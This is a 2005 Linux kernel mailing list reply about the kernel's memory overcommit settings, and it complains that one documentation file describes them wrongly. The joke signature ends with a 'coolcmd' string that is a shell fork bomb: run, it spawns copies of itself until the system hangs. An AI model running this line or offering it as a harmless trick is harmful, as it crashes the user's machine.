From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S964809AbVHIO4M (ORCPT ); Tue, 9 Aug 2005 10:56:12 -0400 Received: (majordomo@vger.kernel.org) by vger.kernel.org id S964811AbVHIO4M (ORCPT ); Tue, 9 Aug 2005 10:56:12 -0400 Received: from [193.151.93.131] ([193.151.93.131]:19472 "EHLO reptilian.maxnet.nu") by vger.kernel.org with ESMTP id S964809AbVHIO4L (ORCPT ); Tue, 9 Aug 2005 10:56:11 -0400 From: Thomas Habets To: Alan Cox Subject: Re: [PATCH] Kernels Out Of Memoy(OOM) killer Problem ? Date: Tue, 9 Aug 2005 16:55:49 +0200 User-Agent: KMail/1.7.2 Cc: Xavier Roche , linux-kernel@vger.kernel.org, vinays@burntmail.com References: <42F8720D.4060300@picsearch.com> <200508091133.21837.thomas@habets.pp.se> <1123595087.15600.0.camel@localhost.localdomain> In-Reply-To: <1123595087.15600.0.camel@localhost.localdomain> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200508091655.50383.thomas@habets.pp.se> Sender: linux-kernel-owner@vger.kernel.org X-Mailing-List: linux-kernel@vger.kernel.org Once upon a midnight dreary, Alan Cox pondered, weak and weary: > 0 - overcommit except if something is obviously silly > 1 - overcommit always (some scientific workloads) > 2 - don't overcommit (databases etc) Exactly. Which is what the code and D/sysctl/vm.txt say, and why the description in D/filesystems/proc.txt is a lying POS that needs to be *shining blue led in everyones eyes* Exterminated before more people are sucked into its world of lies. --------- typedef struct me_s { char name[] = { "Thomas Habets" }; char email[] = { "thomas@habets.pp.se" }; char kernel[] = { "Linux" }; char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" }; char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; } me_t;